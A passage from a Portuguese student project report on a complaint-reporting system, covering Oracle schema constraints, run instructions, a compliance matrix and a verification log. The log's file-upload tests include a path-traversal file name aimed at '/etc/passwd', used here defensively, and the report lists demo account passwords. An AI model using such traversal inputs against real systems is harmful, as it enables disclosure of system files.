Sem ela, um erro de fuso ou uma carga malfeita produziria tempo de resposta negativo, e a estatística da Parte 4 passaria a mentir sem que nada quebrasse.

Anonimato imposto pelo banco.

```
CONSTRAINT ck_denuncia_anonimato CHECK (anonimo = 0 OR cidadao_id IS NULL)
```

Uma denúncia anônima **não pode** ter denunciante vinculado. A regra que protege a vítima não depende de a aplicação lembrar de aplicá-la: nem um `UPDATE` manual no SQL Developer consegue violá-la. Ela materializa no banco a garantia que o Decreto 9.492/2018 dá ao denunciante anônimo (BRASIL, 2018c, art. 23, §2.º).

Exclusão que exige destruição do conteúdo.

```

CONSTRAINT ck_denuncia_exclusao CHECK (
    excluida = 0
    OR (motivo_exclusao IS NOT NULL AND excluida_em IS NOT NULL
        AND descricao IS NULL AND endereco IS NULL)
);

```

Não existe caminho que marque uma denúncia como excluída deixando o relato para trás. O direito de eliminação (BRASIL, 2018a, art. 18, VI) e o dever de rastreabilidade da administração pública convivem porque a restrição obriga os dois ao mesmo tempo: o conteúdo some, o registro fica.

A.3 A linha do tempo

```

CREATE TABLE DENUNCIA_HISTORICO (
    denuncia_id NUMBER(10) NOT NULL,
    ordem NUMBER(3) NOT NULL,
    status VARCHAR2(20) NOT NULL,
    data VARCHAR2(10) NOT NULL,
    hora VARCHAR2(5) NOT NULL,
    CONSTRAINT denuncia_historico_pk PRIMARY KEY (denuncia_id, ordem),
    CONSTRAINT historico_denuncia_fk FOREIGN KEY (denuncia_id)
        REFERENCES DENUNCIA (id) ON DELETE CASCADE,
    CONSTRAINT ck_historico_data CHECK (REGEXP_LIKE (data, '^[0-9]{2}/[0-9]{2}/[0-9]{4}$')),
    CONSTRAINT ck_historico_hora CHECK (REGEXP_LIKE (hora, '^[0-9]{2}:[0-9]{2}$'))
);

```

É a única **chave primária composta** do modelo, e ela é o que garante a ordem: o par (`denuncia_id`, `ordem`) impede dois eventos na mesma posição. Corresponde ao `@OrderColumn` da entidade JPA, de modo que a posição é um dado persistido e não uma coincidência de leitura.

A.4 Trilha de auditoria

AUDITORIA_LOG guarda `hash_anterior` e `hash`, formando o encadeamento descrito na Parte 5. O comentário da coluna `detalhe` registra a regra que a torna segura:

“Descrição curta e NÃO sensível. O relato da denúncia jamais entra aqui.”

Uma trilha que copiasse o relato para poder dar contexto viraria uma segunda cópia do dado sensível, com acesso mais amplo que o original, já que auditores a leem. A regra ecoa a orientação da OWASP de nunca registrar informação privada ou secreta em log (OWASP, [s.d.]).

A.5 Evidências

Nesta fase, EVIDENCIA deixou de ser tabela apenas prevista e ganhou entidade JPA, endpoints e restrições próprias:

```

CONSTRAINT ck_evidencia_tipo CHECK (tipo_conteudo IN (
    'image/jpeg', 'image/png', 'image/webp', 'application/pdf',
    'audio/mpeg', 'audio/ogg', 'audio/webm', 'video/mp4')),
CONSTRAINT ck_evidencia_tamanho CHECK (tamanho_bytes BETWEEN 1 AND 5242880),
CONSTRAINT ck_evidencia_hash CHECK (REGEXP_LIKE (hash_sha256, '^[0-9a-f]{64}$'))

```

A lista branca de formatos aparece **duas vezes** no sistema: na aplicação, que verifica a assinatura do arquivo, e aqui. Não é redundância descuidada, é defesa em profundidade. Se um dia a validação da aplicação for contornada, não entra registro de formato que o canal não aceita.

A tabela guarda apenas metadado. O binário fica no sistema de arquivos, fora da pasta servida pelo servidor web, com nome gerado, conforme recomenda a OWASP para armazenamento de arquivos

enviados (OWASP, [s.d.]c). Gravar 5 MB por linha incharia o backup, atrasaria toda consulta à tabela e transformaria o dump do banco num vazamento de todas as evidências de uma vez.

A.6 Senha: o banco também sabe

```
CONSTRAINT ck_servidor_hash CHECK (LENGTH(senha_hash) >= 55)
```

Um hash BCrypt tem 60 caracteres. Qualquer tentativa de gravar senha em texto puro, que raramente passa de 20, é recusada pelo banco. É a última linha de defesa contra um erro de programação em qualquer camada acima, e o complemento no banco da recomendação de armazenar senhas apenas com algoritmo lento e de custo configurável (OWASP, [s.d.]a).

A.7 Contato obrigatório do cidadão identificado

```
CONSTRAINT ck_cidadao_contato CHECK (email IS NOT NULL OR telefone IS NOT NULL)
```

Se alguém escolhe se identificar, é para poder ser contatado. Uma linha em `CIDADA0` sem nenhum canal de retorno guarda dado pessoal sem servir a propósito nenhum, que é exatamente o que o princípio da necessidade proíbe (BRASIL, 2018a, art. 6.º, III).

A.8 Reinício das sequências

A carga insere com id explícito, o que **não** avança a sequência interna das colunas `IDENTITY`. Sem o bloco final, o primeiro insert automático da aplicação tentaria reutilizar um id ocupado:

```
ALTER TABLE DENUNCIA MODIFY (id GENERATED BY DEFAULT AS IDENTITY (START WITH 126));
```

É o tipo de detalhe que só aparece quando alguém tenta usar o banco depois de carregá-lo, e que teria quebrado a primeira denúncia registrada em produção.

A.9 Evolução desde a Fase 3

Métrica	Fase 3	Fase 5
Tabelas	9	12
Restrições CHECK	5	30
Índices	8	13
Chaves estrangeiras	não declaradas	11
Comentários de tabela e coluna	0	30

Entraram `PERFIL`, `MEMBRO_EQUIPE`, `DENUNCIA_HISTORICO` e `AUDITORIA_LOG`; saiu `HISTORICO_STATUS`, absorvida pela primeira. Toda coluna numérica passou a declarar precisão, atendendo à ressalva D2, e `DENUNCIA.tipo` deixou de ser texto solto para se tornar chave estrangeira do domínio.

A.10 Os três scripts entregues

Arquivo	Conteúdo
database/01_ddl_oracle.sql	Criação completa: tabelas, restrições, índices, comentários e reinício de sequências
database/02_dml_carga.sql	As mesmas 125 denúncias e 201 eventos de histórico da

Arquivo	Conteúdo
	base analisada na Parte 4, em sintaxe Oracle
<code>database/03_consultas.sql</code>	Consultas de verificação, que reproduzem os números do relatório estatístico diretamente no banco

O terceiro é o que permite conferir este documento sem subir a aplicação: as medidas da seção 4.2 podem ser recalculadas em SQL e comparadas com o que o painel exibe. Os percentis usam `PERCENTILE_CONT`, que assume distribuição contínua e devolve valor interpolado (ORACLE, [s.d.]), exatamente a convenção adotada pelo `EstatisticaService`.

Anexo B: Como executar e como verificar

Este anexo existe para que qualquer afirmação deste documento possa ser conferida na própria aplicação, sem depender de vídeo e sem instalar banco de dados.

B.1 O que é preciso ter instalado

Item	Versão	Observação
JDK	17 ou superior	Único requisito obrigatório
Maven	não é necessário instalar no Windows	<code>build.cmd</code> baixa o Apache Maven na primeira execução. No Linux e no macOS, use o <code>mvn</code> já instalado
Banco de dados	não é necessário instalar	O perfil <code>h2</code> usa banco embutido em arquivo
Python	3.x, opcional	Apenas para servir o front-end por HTTP
Navegador	qualquer moderno	Chrome, Edge ou Firefox

B.2 Subir a API

Na pasta `backend`:

No Windows:

```
build.cmd run
```

O `build.cmd` chama o `build.ps1`, que resolve o Maven em três passos: usa o do `PATH` se existir, senão a cópia já baixada em `%USERPROFILE%\protege-maven`, senão baixa a distribuição oficial do Apache uma única vez. É o que permite cumprir a exigência de o projeto funcionar ao ser descompactado, sem pedir instalação prévia de Maven.

No Linux ou macOS, com o Maven no `PATH`:

```
mvn spring-boot:run -Dspring-boot.run.profiles=h2
```

A API sobe em `http://localhost:8080`. Na primeira execução, a carga inicial insere as 125 denúncias e os 201 eventos de histórico descritos na seção 4.2.1. A carga é idempotente, então reiniciar não duplica registros.

Verificação rápida de que subiu corretamente:

Endereço	O que deve aparecer
<code>http://localhost:8080/swagger-ui.html</code>	A documentação executável, com as 31 rotas
<code>http://localhost:8080/api/vigia/status</code>	JSON informando o modo da IA, <code>GEMINI</code> ou <code>REGRAS</code>
<code>http://localhost:8080/api/denuncias/protocolo/2026-00451</code>	Um caso da base, pelo canal público
<code>http://localhost:8080/h2-console</code>	Console do banco de demonstração. JDBC <code>jdbc:h2:file:./data/protege</code> , usuário <code>sa</code> , sem senha

B.3 Abrir o front-end

O modo recomendado é servir por HTTP, na pasta raiz do projeto:

```
python -m http.server 5500
```

E abrir <http://localhost:5500/index.html>.

Abrir o arquivo diretamente pelo Explorador de Arquivos também funciona, e o projeto foi preparado para isso, porque a entrega exige que funcione ao descompactar. Nesse caso o endereço fica `file:///...` e o módulo `conexao.js` exibe um aviso explicando que algumas chamadas podem ser bloqueadas pela política de origem do navegador. Servir por HTTP evita esse aviso.

Três páginas:

Arquivo	Papel
<code>index.html</code>	Portal do cidadão e painel do órgão, na mesma aplicação
<code>formulario-react.html</code>	A interface React que consome a API, exigida pelo enunciado
<code>search.html</code>	A página de disfarce do Modo Seguro, para onde o botão de pânico redireciona

B.4 Os perfis de demonstração

O painel permite autenticar com quatro perfis distintos, e é essa troca que demonstra o controle de acesso da Parte 5. Os endereços de e-mail são os seguintes, e a senha de demonstração está indicada na própria tela de login e no [README](#) do projeto:

Perfil	E-mail	Senha	O que ele demonstra
ATENDE NTE	<code>atendente@protege.gov.br</code>	<code>atendente123</code>	Endereço mascarado, sem botão de exclusão, 403 na auditoria
GESTOR	<code>gestor@protege.gov.br</code>	<code>gestor123</code>	Endereço completo, exclusão disponível, 403 na auditoria
AUDITOR	<code>auditor@protege.gov.br</code>	<code>auditor123</code>	Trilha completa, sem acesso ao relato
ADMIN	<code>admin@protege.gov.br</code>	<code>admin123</code>	Acesso pleno, integralmente auditado

As quatro contas são criadas na primeira execução pelo `CommandLineRunner` do `SecurityConfig`, com a senha gravada em hash BCrypt. As senhas acima são de demonstração e existem para que a segregação de acesso possa ser conferida de verdade; a do ADMIN é sobreponível pela variável de ambiente `ADMIN_SENHA`.

B.5 Roteiro de verificação em oito passos

Cada passo confirma uma afirmação específica deste documento.

- 1. O CRUD funciona ponta a ponta.** Registrar uma denúncia pelo portal, anotar o protocolo devolvido, entrar no painel como GESTOR e localizar o caso no Kanban. Confirma a US31 e a seção 3.3.2.
- 2. A leitura do relato é auditada.** Abrir a ficha do caso pelo painel, depois entrar como AUDITOR e localizar o registro `CONSULTA_SENSIVEL` com aquele identificador. Confirma a seção 5.4.1.

3. O mascaramento é do servidor. Use um dos cinco casos de demonstração (#2026-00451 a #2026-00455), que são os únicos da base com endereço preenchido, justamente para que o mascaramento tenha o que esconder. Abra o mesmo caso como ATENDENTE. O endereço aparece como [endereço protegido]. Abrir as ferramentas do desenvolvedor, aba de rede, e conferir que o JSON recebido também traz o valor mascarado, e não o endereço escondido por CSS. Confirma a seção 5.6, medida 2.

4. O RBAC é real. Como ATENDENTE, clicar na aba de Trilha de Auditoria. A recusa aparece na tela. Como AUDITOR, abrir a mesma aba e localizar o registro daquela tentativa recusada. Confirma as seções 5.2.1 e 5.4.4.

5. Arquivo disfarçado é recusado. Renomear um executável ou um arquivo de texto para .png e tentar anexá-lo pelo portal. A API responde 415. Confirma a seção 5.2.2.

6. A cadeia de auditoria é verificável. Como AUDITOR, acionar a verificação de integridade. O sistema percorre a cadeia e informa se ela está íntegra. Confirma a seção 5.4.5.

7. As estruturas de dados estão na tela. Abrir a fila de priorização e conferir que o topo é o caso de maior urgência. Mover um card no Kanban e usar o desfazer: o status volta, e a linha do tempo ganha um evento novo em vez de perder o anterior. Confirma as seções 4.1.2 e 4.1.3.

8. Os números do relatório batem com o documento. Abrir a aba de Estatísticas e comparar média, mediana, desvio e coeficiente de variação com a tabela da seção 4.2.2. Devem ser idênticos, porque a base é determinística e o ponto de referência temporal é o último evento da base, não o relógio do computador.

B.6 Rodar os testes automatizados

Na pasta backend:

```
| build.cmd clean test
```

No Linux ou macOS, `mvn clean test`. O resultado esperado é **81 testes, zero falhas**. O Anexo D detalha o que cada conjunto cobre.

B.7 O banco Oracle

Os três scripts de `database/` são independentes da execução acima e servem para reproduzir o modelo físico em Oracle 19c:

```
| 01_ddl_oracle.sql      cria as 12 tabelas, restrições, índices e comentários
| 02_dml_carga.sql       carrega as mesmas 125 denúncias e 201 eventos
| 03_consultas.sql       recalcula em SQL os números do relatório estatístico
```

O terceiro é a forma mais direta de conferir a Parte 4 sem subir a aplicação.

Anexo C: Matriz de conformidade com o enunciado

Este anexo existe para tornar a conferência da entrega mecânica. A coluna “Item exigido” reproduz o texto do enunciado da Fase 5; as demais indicam a seção que o atende, o artefato correspondente no projeto e a forma de verificar.

C.1 Parte 1

Item exigido	Seção	Artefato	Como verificar
“Relate quais foram as evoluções realizadas desde a última entrega de atividade”	1.1, 1.2, 1.11	Quadros comparativos Fase 4 e Fase 5, e o registro cronológico	Comparar com a entrega anterior
Apresentar a versão atual do projeto	1.3 a 1.9	Todo o repositório entregue	Executar conforme o Anexo B
Tratar as ressalvas das avaliações anteriores	1.10	Anexo A e roteiro do vídeo	Tabela D1 a D5, com destino de cada uma

C.2 Parte 2

Item exigido	Seção	Artefato	Como verificar
“Reavalie o Product Backlog criado nas fases anteriores”	2.1, 2.2, 2.3	Quadro US01 a US18 com estado real	Cada história aponta a rota ou o módulo que a implementa
“Atualize-o com novas user stories relacionadas ao front-end ”	2.4	US19, US20, US21, US22, US23, US32	Telas de fila, pilha, auditoria, estatística, ficha do caso
“...relacionadas à segurança ”	2.5	US24, US25, US26, US27, US33	SecurityConfig, AuditoriaService, MascaraUtil, RateLimitFilter
“...relacionadas à manipulação de arquivos ”	2.6	US28, US29, US30, US34, US35	EvidenciaService, AssinaturaArquivo, ExportacaoService
“Escreva os critérios de aceitação das user stories prioritárias”	2.8	13 conjuntos de critérios em Given/When/Then, cobrindo as 12 histórias Alta ou Crítica e a US17	Cada critério é executável no roteiro do Anexo B

C.3 Parte 3

Item exigido	Seção	Artefato	Como verificar
“Implemente e documente uma API RESTful robusta”	3.1	31 rotas, 9 controladores, OpenAPI 3	Swagger UI
Boa prática: rotas	3.1.2	Inventário completo por área	/swagger-ui.html
Boa prática: métodos HTTP	3.1.3	Justificativa de PUT contra PATCH e de POST contra GET, ancorada	Executar PATCH /status duas vezes e observar dois eventos

Item exigido	Seção	Artefato	Como verificar
		no RFC 9110	
Boa prática: status code	3.1.4	Catálogo de 14 situações, com a seção normativa de cada uma	Bateria do Anexo D
Boa prática: tratamento de erros	3.1.5	<code>GlobalExceptionHandler</code> , corpo único	Enviar denúncia inválida e observar <code>detalhes</code> campo a campo
Boa prática: segurança	3.1.6	JWT, RBAC, CORS, limite por origem, mapeados ao OWASP API Top 10	Passos 3, 4 e 5 do Anexo B
“Garanta que as operações CRUD estejam funcionando para os principais recursos”	3.2	Denúncia, Equipe, Evidência	Passo 1 do Anexo B e Anexo D
“Integre a API ao front-end desenvolvido”	3.3	<code>backend.js</code> , <code>sincronia.js</code> , <code>detalhe.js</code>	Passo 1 do Anexo B
“Demonstrando o consumo dos endpoints via interface React ”	3.3.1	<code>formulario-react.html</code>	Enviar denúncia pelo React e observar 201, 400 e 429
Documentação da API	3.1.9	OpenAPI 3 executável	<code>/swagger-ui.html</code> e <code>/v3/api-docs</code>
Consultar dados de forma eficiente (contextualização)	3.1.8	Filtros e paginação no banco, 13 índices	<code>GET /api/denuncias?status=recebida&pagina=0</code>

C.4 Parte 4

Item exigido	Seção	Artefato	Como verificar
“Estruturas de dados avançadas... listas ”	4.1.1	<code>@OrderColumn</code> na linha do tempo	Consulta por protocolo mostra os eventos em ordem
“... filas ”	4.1.2	<code>PriorityQueue</code> em <code>FilaAtendimentoService</code>	<code>GET /api/fluxo/fila</code> e passo 7 do Anexo B
“... pilhas ”	4.1.3	<code>ArrayDeque</code> em <code>PilhaAcoesService</code>	<code>GET /api/fluxo/pilha</code> e o desfazer no painel
“Presentes na lógica do sistema ou na API ”	4.1, 3.1.2	Rotas <code>/api/fluxo/fila</code> , <code>/atender</code> , <code>/pilha</code> , <code>/desfazer</code>	Executar as quatro no Swagger
“Gere e analise relatórios estatísticos (gráficos, tabelas ou dados relevantes)”	4.2	<code>EstatisticaService</code> , <code>RelatorioService</code>	<code>GET /api/stats/analitico</code>
“Apresentando gráficos”	4.2.3 a 4.2.8	Seis gráficos em <code>estatistica.js</code> com Chart.js	Aba de Estatísticas no painel
“Cálculos e interpretações estatísticas aplicadas”	4.2.1 a 4.2.9	Convenções justificadas por NIST, Oracle e literatura	Comparar com os textos gerados no painel
“Sugestões para o negócio”	4.3.1	Oito recomendações amarradas a números e a fontes	Cada uma cita a medida que a sustenta

C.5 Parte 5

Item exigido	Seção	Artefato	Como verificar
“Como o sistema controla o acesso ”	5.2.1	<code>SecurityConfig</code> , <code>JwtAuthFilter</code> , <code>PerfilUsuario</code>	Passo 4 do Anexo B
“... protege dados sensíveis ”	5.2.2	14 medidas, de BCrypt a k-anonimato, cada uma com fonte	Passos 3 e 5 do Anexo B
“... registra ações relevantes ”	5.2.3, 5.4	<code>@Auditavel</code> , <code>AuditoriaAspect</code> , <code>AuditoriaService</code>	Passo 2 do Anexo B
“Tabela indicando os perfis de usuário e suas permissões ”	5.3.1	Matriz de 17 operações por 5 perfis	Trocar de perfil no painel
“...e quais funcionalidades acessam dados pessoais ”	5.3.2	Matriz de 9 dados por 5 perfis	Passo 3 do Anexo B
“Defina quais operações precisam gerar trilhas de auditoria ”	5.4.1	Catálogo de 11 ações em 15 endpoints	GET /api/auditoria/acoes
As quatro operações citadas: alteração de status, consulta sensível, exportação e exclusão	5.4.1	<code>ALTERACAO_STATUS</code> , <code>CONSULTA_SENSIVEL</code> , <code>EXPORTACAO</code> , <code>EXCLUSAO</code>	Aba de Auditoria, filtrando por ação
O que não é auditado, e por quê	5.4.2	Justificativa dos agregados	Seção própria
“Explique a diferença entre logs técnicos e registros de auditoria ”	5.5	Quadro comparativo de 11 aspectos, ancorado no NIST SP 800-92	Código do erro 500
“Medidas adotadas para reduzir riscos na exposição de dados por API ”	5.6	Oito medidas, mapeadas ao OWASP API Top 10	Seções 3.1.5, 3.3.3 e passo 3 do Anexo B
Fundamento legal	5.7	Treze dispositivos, com o atendimento de cada um	Seção própria
Limites declarados	5.8	Oito pontos em aberto	Seção própria

C.6 Itens de entrega

Item exigido	Estado	Observação
Respostas de todas as partes documentadas em editor de texto, entregues em PDF	Entregue	Este documento, gerado em <code>.docx</code> e convertido para PDF
Apresentação de até 10 slides , entregue em PDF	Entregue	Slide 1 com nome completo, RM e foto
Nome completo, RM e foto no primeiro slide	Entregue	Slide 1
Vídeo no YouTube, não listado , até 5 minutos	Entregue	Link na capa deste documento
Vídeo com pitch e navegação real pelo sistema	Entregue	Demonstração ao vivo do portal, painel, Swagger e trilha
Link do vídeo no documento	Entregue	Capa e ficha técnica

Item exigido	Estado	Observação
Link do vídeo na apresentação	Entregue	Slides 1 e 10
Link do vídeo no site	Entregue	Rodapé de <code>index.html</code>
Coleção de arquivos de programação	Entregue	Back-end, front-end e scripts de banco
Repositório GitHub com o conteúdo do projeto	Entregue	github.com/Gabriell230G/hackgovProtegeMais , link na capa
Wireframes e demais recursos	Entregue	Pasta de recursos do projeto
ZIP contendo documento em PDF, apresentação em PDF, arquivos de programação, wireframes e recursos	Entregue	Estrutura na seção C.7
Todos os arquivos dentro de uma mesma pasta	Entregue	Pasta única <code>ProtegeMais_Fase5/</code>
Funcionamento correto ao descompactar e abrir localmente	Entregue	Anexo B, seções B.2 e B.3. O perfil <code>h2</code> dispensa instalação de banco
Vídeo não enviado à plataforma, apenas o link	Entregue	Publicado no YouTube como não listado

C.7 Conteúdo do pacote entregue

ProtegeMais_Fase5/	
├── index.html	portal do cidadão e painel do órgão
├── formulario-react.html	interface React que consome a API
├── search.html	página de disfarce do Modo Seguro
├── css/	7 folhas de estilo
├── js/	27 módulos JavaScript
├── images/	imagens, ícones e recursos
├── backend/	aplicação Java (Spring Boot)
│ ├── src/main/java/br/gov/protege/	63 classes de produção
│ ├── src/main/resources/	configuração e carga inicial
│ ├── src/test/java/	81 testes JUnit
│ ├── pom.xml	
│ └── build.cmd, build.ps1	baixam o Maven na 1ª execução
├── database/	
│ ├── 01_ddl_oracle.sql	
│ ├── 02_dml_carga.sql	
│ └── 03_consultas.sql	
├── diagramas/	modelo lógico e físico
├── wireframes/	
├── docs/	
│ ├── Protege_Mais_Fase5_Documento.docx	documento em Word
│ ├── Protege_Mais_Fase5_Documento.pdf	o mesmo documento em PDF
│ ├── Protege_Mais_Fase5_Apresentacao.pdf	os 10 slides
│ └── Protege_Mais_Fase5_Apresentacao.html	deck navegável, com o site ao vivo
└── README.md	instruções de execução

Não integram o pacote: a pasta `backend/target` (artefatos de compilação), a pasta `backend/data` (banco H2 gerado em execução) e qualquer arquivo temporário. Todos são recriados automaticamente na primeira execução.

Anexo D: Registro de verificação

Este anexo registra como o sistema foi verificado. Ele existe porque a lição central desta fase, descrita na seção 6.2, é que **teste unitário verde não é sistema funcionando**: os quatro defeitos mais graves encontrados aqui passariam por qualquer suíte de testes de unidade, porque cada peça, isolada, estava correta.

A verificação foi feita em três níveis.

D.1 Nível 1: conferência estrutural do código

Antes de executar qualquer coisa, o código passou por checagens automatizadas de estrutura, que encontram uma classe de defeito que compila e roda mesmo estando errada:

Checagem	O que procura
Balanceamento de chaves e parênteses	Arquivo truncado ou bloco mal fechado
Pacote declarado contra caminho do arquivo	Classe no diretório errado
Nome da classe pública contra nome do arquivo	Divergência que quebra a compilação
Referências a métodos inexistentes	Chamadas que sobraram de uma refatoração
Código órfão	Métodos e constantes que ninguém mais chama
Divergência entre <code>data.sql</code> e <code>02_dml_carga.sql</code>	As duas cargas precisam descrever a mesma base
Simetria das chaves de tradução	363 chaves em português e 363 em inglês

Essa varredura encontrou oito métodos públicos do módulo de integração que nenhuma tela chamava, o que foi o primeiro indício do defeito descrito na seção 3.3.2.

Um registro de honestidade metodológica: a remoção automatizada de código órfão danificou um módulo do front-end durante essa varredura, porque a expressão de busca casou com um trecho maior do que o previsto. O dano foi detectado pela comparação de contagem de linhas contra a versão anterior do repositório, e o arquivo foi restaurado a partir dela. A partir daí, dois órfãos remanescentes foram deliberadamente **mantidos**: com um mecanismo de detecção já comprometido uma vez, o risco de mexer passou a ser maior que o ganho de limpar.

D.2 Nível 2: testes automatizados

81 testes JUnit 5, em 11 conjuntos, com zero falhas. O conteúdo de cada conjunto está na seção 1.9.

Três características desses testes merecem registro:

Eles testam o caminho que precisa funcionar quando o outro falha. O `VigiaServiceTest` exercita a classificação por regras, e não a chamada ao modelo do Google, porque é o caminho por regras que sustenta o sistema quando não há chave de API.

Eles adulteram de propósito. O `AuditoriaServiceTest` altera o usuário de um registro e remove outro do meio da cadeia, exigindo que o sistema aponte a posição exata e o tipo de inconsistência. É a aplicação prática da recomendação de construir detecção de adulteração no registro (OWASP, [s.d.]b).

Eles carregam a conta feita à mão. Cada um dos 25 testes que cobrem o cálculo estatístico traz, no cabeçalho, o valor esperado e a operação que o produziu, para que uma futura alteração no cálculo precise justificar a divergência em vez de simplesmente atualizar o número esperado.

D.3 Nível 3: bateria de execução ponta a ponta

Executada contra a aplicação em funcionamento, com base recém-carregada, exercitando a API e a interface. Os resultados abaixo foram observados, não presumidos.

D.3.1 Validação de entrada

Sete verificações, todas conforme o esperado: descrição abaixo do mínimo, tipo inexistente, UF inválida, campos obrigatórios ausentes e JSON malformato. Em todos os casos a API respondeu **400** com o corpo padronizado e o campo `detalhes` mapeando campo para mensagem.

D.3.2 Manipulação de arquivos

Onze verificações, todas conforme o esperado:

Cenário	Resposta obtida
Imagem PNG legítima	201, com hash SHA-256 gravado
Executável renomeado para <code>.png</code>	415
SVG com marcação embutida	415
HTML renomeado para imagem	415
Arquivo ZIP disfarçado	415
Arquivo de 5 MB mais 10 bytes	413
Décimo primeiro anexo na mesma denúncia	Recusado, com o limite informado
Anexo em caso já concluído	422
Nome <code>../ ../ ../etc/passwd.png</code>	Gravado sob UUID; metadado higienizado para <code>passwd.png</code>
Download por perfil autorizado	200, com registro <code>CONSULTA_SENSIVEL</code>
Download com hash divergente do disco	Recusado

Os quatro primeiros casos de recusa são a confirmação prática de que a validação olha o conteúdo, e não o rótulo, como prescreve a OWASP ([s.d.]c).

D.3.3 A cena que demonstra o controle de acesso

O mesmo caso, o protocolo `#2026-00451`, aberto por dois perfis em sequência:

	GESTOR	ATENDENTE
Endereço exibido	Rua Paulista, 100 - Jardim Paulista	[endereço protegido]
Botão de exclusão	disponível	ausente
Registro na trilha	<code>CONSULTA_SENSIVEL</code> , com hora	<code>CONSULTA_SENSIVEL</code> , com hora

As duas leituras aparecem na trilha com carimbo de tempo, o que é a demonstração do item (c) da Parte 5: leitura é acesso, e acesso a dado sensível é registrado.

D.3.4 Controle de acesso por rota

Dez verificações de perfil contra rota, todas conforme a matriz da seção 5.3.1. Os pontos centrais:

- `GET /api/auditoria` devolveu **403** para ATENDENTE e para GESTOR, e **200** para AUDITOR e ADMIN;
- `DELETE /api/denuncias/{id}` devolveu **403** para ATENDENTE e **204** para GESTOR;
- `POST /api/equipe` devolveu **403** para ATENDENTE e **201** para GESTOR;
- `GET /api/exportacao/denuncias` devolveu **403** para AUDITOR, **200** com mascaramento para ATENDENTE e **200** com endereço completo para GESTOR;
- a comparação fixa que a Fase 4 trazia no JavaScript (`user === 'admin' && pass === 'admin123'`) foi **removida**, e o usuário `admin` deixou de existir: o login agora exige o e-mail de uma conta real e é conferido contra o hash BCrypt no servidor.

D.3.5 CRUD completo

Criação pelo portal com o protocolo devolvido pelo servidor aparecendo no Kanban; leitura em lista, em detalhe e pelo canal público; atualização total por `PUT`; atualização de status por `PATCH`, com o evento correspondente entrando na linha do tempo; atribuição de responsável; exclusão lógica com o relato lido como vazio depois da operação. Todas as operações de escrita geraram o registro de auditoria correspondente.

D.3.6 Estruturas de dados

Fila de prioridade. O topo observado seguiu exatamente a ordem esperada pelo comparador:

```
CRITICA/88 > CRITICA/67 > CRITICA/58 > CRITICA/51  
          > CRITICA/30 > ALTA/97 > ALTA/88
```

A leitura confirma os critérios em ação: primeiro a urgência, depois o score em ordem decrescente. Um caso de urgência ALTA com score 97 fica **abaixo** de um caso CRÍTICA com score 30, que é precisamente o comportamento pretendido e discutido na seção 4.2.6.

Pilha. Duas ações empilhadas, uma desfeita, uma restante. O desfazer **acrescentou** um evento à linha do tempo em vez de remover o anterior, resultando na sequência **recebida, analise, encaminhada**. É a confirmação da decisão descrita na seção 4.1.3.

D.3.7 Coerência do relatório estatístico

Cinco verificações de consistência interna, todas conformes:

Verificação	Resultado
Soma das contagens por status igual ao total do universo	Confere
Soma do histograma igual ao n de concluídos (76)	Confere
Percentis em ordem crescente (p50 menor que p75, menor que p90, menor que p95)	Confere
Desvio padrão igual à raiz da variância	Confere
Pontos da dispersão sem qualquer campo identificador	Confere

D.3.8 Trilha de auditoria

Ao final da bateria, a trilha continha as ações exercitadas por ela, com a seguinte distribuição de resultados:

Resultado	Registros
PERMITIDO	20
NEGADO	6
ERRO	1

A verificação de integridade percorreu a cadeia completa e a reportou **íntegra**. Os seis registros NEGADO são a evidência mais relevante desta seção: eles mostram que as tentativas recusadas foram gravadas, incluindo as bloqueadas por regra de rota, que antes da correção descrita em 5.4.4 não deixavam rastro.

D.4 Defeitos encontrados e corrigidos durante a verificação

#	Defeito	Como se manifestava	Correção
1	Filtro concedia perfil de gestor a qualquer token	Atendente com poderes de gestor	Leitura do perfil declarado no token, com queda para o menor privilégio
2	Login resolvido no JavaScript do cliente	Credencial fixa no código-fonte público	Autenticação contra o servidor, com BCrypt
3	Códigos 413 e 415 prometidos, código devolvia 422	Cliente sem informação para reagir	Duas exceções dedicadas e seus tratadores
4	Recusa por regra de rota não era auditada	As tentativas mais suspeitas não deixavam rastro	Auditoria no ponto em que o 403 é emitido
5	Mascaramento na exportação era código morto	Só perfis que veem tudo podiam exportar	ATENDENTE passou a exportar, com mascaramento
6	Painel exibia 100 de 126 casos (125 da carga mais uma criada no teste)	Cliente pedia 500, servidor limitava a 100 sem avisar	Paginação em laço, com teto de proteção
7	Sincronização apagava campos só do cliente	Código de acompanhamento do anonimato se perdia	Mesclagem preservando a lista de campos locais
8	Denúncia de emergência desaparecia	Gravava local e era eliminada na sincronização seguinte	Passou pelo caminho da API
9	Nenhuma tela chamava o método de criação da API	Denúncia registrada no site nunca chegava ao banco	Origem da US31, seção 3.3.2
10	Botão de detalhe levava o gestor à tela do cidadão	<code>CONSULTA_SENSIVEL</code> nunca disparava pela interface	Ficha do caso própria, origem da US32

Os dez defeitos têm a mesma assinatura: **cada camada estava correta, e a costura entre elas não estava**. É o argumento a favor de a verificação incluir execução ponta a ponta, e não apenas testes de unidade.

D.5 Defeito encontrado e declarado, não corrigido nesta fase

Uma última passagem de conferência, já com o documento fechado, comparou cada afirmação de mascaramento com o código que deveria sustentá-la. Ela encontrou um item que não foi corrigido, e que fica registrado aqui em vez de ser omitido.

#	Defeito	Como se manifesta	Situação
11	O canal identificado coleta nome e contato que a API não recebe	No nível 3 de anonimato o formulário mostra os campos <code>f-nome</code> e <code>f-contato</code> , e <code>main.js</code> os envia no corpo do POST. <code>DenunciaRequest</code> não declara nenhum dos dois, então o Jackson os descarta em silêncio e nada é persistido. Em modo local o dado fica no navegador, o que torna o defeito invisível numa demonstração sem back-end	Declarado na seção 5.8, com a correção descrita arquivo a arquivo. Não aplicado nesta fase porque altera a entidade, o modelo físico e a contagem de colunas do Anexo A, e não haveria tempo de reexecutar a verificação completa depois da mudança

A decisão de declarar em vez de corrigir às pressas segue o mesmo critério das outras seções deste documento: **uma correção que não pode ser verificada antes da entrega vale menos do que um defeito conhecido e escrito**. O leitor que for avaliar o sistema sabe exatamente o que vai encontrar e onde.

Anexo E: Referências

As fontes abaixo sustentam as decisões de projeto defendidas neste documento. Todas foram consultadas e verificadas durante a redação, e cada uma é citada no texto pelo sistema autor-data. Os endereços eletrônicos foram acessados em setembro de 2026.

Três observações sobre o critério de seleção. Primeiro, **legislação e norma técnica vêm sempre da fonte primária**: o texto das leis foi lido no portal do Planalto, e as especificações HTTP no repositório da IETF. Segundo, **dado estatístico de terceiro só entrou quando pôde ser atribuído ao órgão que o produziu**, e não a uma repercussão. Terceiro, onde uma especificação foi substituída por outra, as duas aparecem, e a nota explica qual trecho veio de onde.

E.1 Legislação e normas do poder público brasileiro

